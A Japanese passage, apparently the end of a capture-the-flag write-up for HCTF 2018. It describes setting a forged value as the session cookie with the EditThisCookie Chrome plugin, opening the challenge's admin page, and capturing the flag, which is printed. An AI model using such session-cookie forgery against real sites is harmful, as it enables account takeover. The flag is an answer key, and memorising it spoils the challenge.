をCookieのsessionにセットして、http://admin.2018.hctf.io/index
にアクセス。
ちなみに、Cookieの変更にはGoogle ChromeのEditThisCookieプラグインを使用している。
フラグゲット。
hctf{un1c0dE_cHe4t_1s_FuNnying}